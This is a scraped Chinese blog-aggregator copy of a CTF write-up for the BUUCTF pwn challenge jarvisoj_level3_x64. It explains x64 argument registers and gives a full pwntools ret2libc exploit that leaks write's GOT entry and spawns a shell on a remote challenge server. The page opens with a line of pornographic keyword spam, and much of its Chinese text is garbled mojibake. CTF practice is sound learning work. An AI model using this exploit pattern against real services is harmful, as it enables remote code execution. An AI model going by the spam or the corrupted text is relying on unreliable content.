日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

BUUCTF(pwn)jarvisoj_level3_x64

發(fā)布時(shí)間:2025/3/20 编程问答 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF(pwn)jarvisoj_level3_x64 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.


這道題是一道簡(jiǎn)單的rop類型的題目,跟之前做的題目有一些差異:( 這是64位的需要一些額外的操作 )



64位匯編傳參,當(dāng)參數(shù)少于7個(gè)時(shí), 參數(shù)從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 當(dāng)參數(shù)為7個(gè)以上時(shí), 前 6 個(gè)與前面一樣, 但后面的依次從 “右向左” 放入棧中,即和32位匯編一樣。

這里我們使用 write 函數(shù) 來(lái)泄密 libc地址

ssize_t write(int fd,const void*buf,size_t count); 參數(shù)說明:
fd:是文件描述符(write所對(duì)應(yīng)的是寫,即就是1) buf:通常是一個(gè)字符串,需要寫入的字符串 count:是每次寫入的字節(jié)數(shù)

write 函數(shù)的特殊之處是 它具有多個(gè)參數(shù);

這里我們需要獲得3個(gè)寄存器的地址來(lái) 存取參數(shù);

rdi = 0x4006b3

rsi = 0x4006b1

這里 rsi 這個(gè)地址后面還跟著一個(gè) 寄存器 r15; 剛好夠了3個(gè)寄存器 來(lái)供我們輸入?yún)?shù);

下面就是一些基本的ropexp;

from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',29161) elf=ELF("./1") write_plt=elf.plt["write"] write_got=elf.got["write"] main=0x40061A rdi=0x4006b3 rsi=0x4006b1 payload='a'*(0x80+0x8)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(main) r.sendlineafter("Input:\n",payload) write_addr = u64(r.recv(8)) libc=LibcSearcher('write',write_addr) offset=write_addr-libc.dump('write') sys=offset+libc.dump('system') binsh=offset+libc.dump('str_bin_sh') payload='a'*(0x80+0x8)+p64(rdi)+p64(binsh)+p64(sys) r.sendlineafter("Input:\n",payload) r.interactive()

對(duì)exp有疑問的歡迎留言

與50位技術(shù)專家面對(duì)面20年技術(shù)見證,附贈(zèng)技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的BUUCTF(pwn)jarvisoj_level3_x64的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。